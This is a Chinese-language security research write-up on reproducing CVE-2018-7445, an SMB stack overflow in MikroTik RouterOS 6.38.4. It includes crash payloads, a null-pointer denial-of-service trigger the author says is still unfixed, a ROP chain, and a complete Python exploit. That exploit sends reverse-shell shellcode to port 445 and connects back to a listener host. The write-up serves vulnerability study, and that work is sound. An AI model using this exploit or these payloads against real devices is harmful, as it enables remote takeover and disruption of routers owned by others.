0x00 前言少叙

Finding and exploiting CVE-2018-7445这篇文章中,作者使用Mutiny Fuzzer,将对SMB服务发送的初始化数据包进行dumb变异,发现崩溃进行调试后完成漏洞利用。刚好之前对RouterOS逆向分析过一段时间,本文就针对6.38.4的版本复现利用,并对一些文章中没有提到的点略作探究。

0x01 遗留指针

对Fuzz出crash部分感兴趣的同学可以参看原文,原文在分析crash时,突发奇想地单纯增加message内容长度触发了三处不一样的崩溃点,如下两个payload都能触发第一个崩溃点:

poc =  '\x81\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20'
poc += '\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00\x00\x20\x00'
poc += '\x00\x20\x00\x00'

sample_poc = '\x81\x00\x00\x40'+'A'*0x40

然而作者直接朝着第二个看似能利用的崩溃点分析去了,我这里就用A填充的payload来分析第一处的崩溃,首先在调试器里看下栈回溯:

其中复制的目的地址edi为0产生崩溃,结合SMB的协议,在函数调用流程中可知sub_805038A中,判断了message type是0x81,存储了长度然后传递空指针进入崩溃点:

开始的想法是对这个位置不变的堆地址(ASLR为1)下硬件写断点,实际只能捕获到初始化为空指针的过程。配合逆向注意到程序在read完后,又调用函数sub_8050858在堆上新生成个对象保存数据内容,并在后续过程中传递使用:

上图v38中保存的堆地址内容如下,其中0x8076fc8+0xc处就是崩溃时引用的空指针:

其实崩溃处没有A相关信息,就应该想到不是message内容导致的崩溃,而很可能是在处理数据包的过程中,没有进入某处逻辑导致某变量没有初始化,最后再引用时则导致了空指针。推测是message type的原因,在0x8076fc8处下硬点读断点,第一处触发在sub_806DB00函数中,我们payload message的长度为0x40不会进入67行的逻辑:

第二次的触发点就直接是将空指针传入崩溃点的过程了:

如果message的长度大于0x43,即会进入第一处的逻辑在函数sub_80502D0完成初始化操作。所以只要长度小于0x44就能稳定触发这个空指针引用的崩溃,而且该问题在最新的系统版本6.44中仍未修复,可在某些场景下造成拒绝服务攻击:

对于sample_poc = '\x81\x00\x3e\x80'+'A'*0x3e80触发的第三处崩溃,在gef中可看出是把栈打满了引发的段错误,和第二个崩溃点的可利用性一样。至于本文开始提到的可完成漏洞利用的第二个崩溃点,详见后面的小节内容:

0x02 漏洞分析

紧接上文如果修改message长度为0x44,进入处理后继续执行则触发了和原文中一样的第二处崩溃,其中的eip被覆盖为非法地址,像是一个溢出漏洞而且利用的可能性很大:

接下来需要定位溢出点,原文作者的思路是查看后端程序的输出,根据字符串定位至相关环境,然后单步执行观察栈帧和寄存器的情况确定溢出函数:

结合之前的逆向我们知道,在判断message type为0x81后先经过 sub_806DB00函数的初始化,随后调用sub_8054A76sub_8054A05过程中都有传递栈地址,最后输出New connection: ,那么问题很可能存在于后两者中,借用原文的伪代码展示sub_8054A76的逻辑:

其解析源字符串保存至栈地址上,并用.字符作为分隔符。按照 sub_8054A76((int)&v60, (unsigned __int8 *)(v4 + 34));的调用方式,源地址是message指针偏移34字节内容可控,目的地址为栈地址,解析过程中没有边界检查导致溢出,可影响前一栈帧进而覆盖eip。

原文说这个SMB溢出漏洞在6.41.3修复了,其做法是限制复制的长度只能是32字节,一种删减功能的做法:

0x03 漏洞利用

这是一个比较简单的溢出漏洞,所以利用姿势比较常规,调试过程中需要注意上下文环境。程序开启的保护机制只有个NX,可使用ROP调用mprotect函数添加内存的可执行权限,系统ASLR为1,可以考虑在brk分配的heap上,也就是message中携带shellcode,mprotect后调转执行。

我个人比较喜欢静态地确定偏移,v60的地址为ebp+var_3C即向下0x40个字节可覆盖至eip,试水如下:

poc =  "\x81\x00\x00\x68" # header
poc += "A" * 34           # padding
poc += "\x44" * 1         # length
poc += "B" * 64           # padding
poc += "C" * 4            # bof eip
poc += "\x00" * 1         # end

溢出后虽然还调用了sub_8054A05,但我们在漏洞利用阶段不要太拘泥于逆向分析,直接动态调试可加大效率,可知该函数对我们的payload并没有什么影响:

ROP链的构造和原文中的大同小异,可以选择更加高效的gadget来组合,其中学到的是在vDSO中调用__kernel_vsyscall系统调用的汇编指令,而且该地址不受RouterOS系统中ASLR的影响,照葫芦画瓢写了下:

rop = ""
rop += p32(0x08048eec) # pop eax ; ret
rop += p32(0x7d)       # eax -> mprotect system call
rop += p32(0x080543e7) # pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += p32(0x7)        # edx -> prot for mprotect
rop += p32(0x14000)    # ecx -> len for mprotect
rop += p32(0x08074000) # ebx -> addr for mprotect
rop += p32(0x90909090) # esi -> junk
rop += p32(0x90909090) # edi -> junk
rop += p32(0x90909090) # ebp -> junk
rop += p32(0xffffe422) # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
rop += p32(0x90909090) # ebp -> junk
rop += p32(0x90909090) # edx -> junk
rop += p32(0x90909090) # ecx -> junk
rop += p32(0xffffffff) # addr for shellcode in heap

紧接着添加120字节的\x90作为shellcode,想看看rop中有没有被bad char影响,header中message的长度就是34+1+64+64+1+120=0x11c,可发送数据包后根本没有进入漏洞逻辑,调试可知在read数据过程中莫名奇妙地少了4个字节,讲道理程序只有一处read函数的触发而且count为0x10000,此处疑问只能求师傅们教教我了:

程序在处理message之前还会校验一下长度,因为接收的长度小于header中的长度,程序直接返回也就不能到达漏洞点了:

这里推测可能是存在bad char或者程序逻辑和我逆向预期的不同,有一个规避的方法就是在上图中是可以使接收的数据长度大于header中的长度字段,其会根据长度字段生成一个新的message对象传递给后续函数使用。还注意到read接收的数据保存在堆地址上并没有释放掉,可以考虑使用其中保存的原始shellcode的固定地址:

最终完成执行权限的添加后,查看该堆地址的内容是否有被破坏,发现虽然有所偏移但shellcode的起始地址还是固定不变的:

综上,可以构建exploit如下,完成反弹shell的操作:

#!/usr/bin/env python

import socket
import struct

p32 = lambda x : struct.pack('I', x)

header = "\x81\x00\x01\x1c"

padding = "A"*34 + "\x80" + "B"*64

rop = ""
rop += p32(0x08048eec) # pop eax ; ret
rop += p32(0x7d)       # eax -> mprotect system call
rop += p32(0x080543e7) # pop edx ; pop ecx ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
rop += p32(0x7)        # edx -> prot for mprotect
rop += p32(0x14000)    # ecx -> len for mprotect
rop += p32(0x08074000) # ebx -> addr for mprotect
rop += p32(0x90909090) # esi -> junk
rop += p32(0x90909090) # edi -> junk
rop += p32(0x90909090) # ebp -> junk
rop += p32(0xffffe422) # int 0x80 ; pop ebp ; pop edx ; pop ecx ; ret
rop += p32(0x90909090) # ebp -> junk
rop += p32(0x90909090) # edx -> junk
rop += p32(0x90909090) # ecx -> junk
rop += p32(0x080778e0) # addr for shellcode in heap

end = "\x00"

# msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.56.103 LPORT=4444 -f python -v shellcode
shellcode =  ""
shellcode += "\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0"
shellcode += "\x66\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9"
shellcode += "\x68\xc0\xa8\x38\x67\x68\x02\x00\x11\x5c\x89\xe1"
shellcode += "\xb0\x66\x50\x51\x53\xb3\x03\x89\xe1\xcd\x80\x52"
shellcode += "\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3"
shellcode += "\x52\x53\x89\xe1\xb0\x0b\xcd\x80"

shellcode += "\x90" * (120+40-len(shellcode))

exploit = header + padding + rop + end + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('192.168.56.102', 445))
s.sendall(exploit)
s.close()

0x04 总结反思

  1. 调试有方法:在根据crash定位问题点,和判断crash的可利用性时,通常考察的是调试的技巧和思路,需要增强相关的系统知识才能更高效。
  2. 利用与逆向:在定位至漏洞点并确定利用方案后,虽然逆向必不可少但也不能太钻牛角尖,忽视了漏洞利用的最终目的。
  3. 利用精简化:本文的利用还是靠着固定堆地址,程序中应该还有一个固定堆地址是可利用的,但应该还有堆喷和上下文相关的更加精简优雅的利用方式,感兴趣可以探究下。
  4. 深入实地里:漏洞看起来简单实践起来终归是能学到东西的,脚踏实地的话,RouterOS的这个整数溢出的利用还是很有意思的。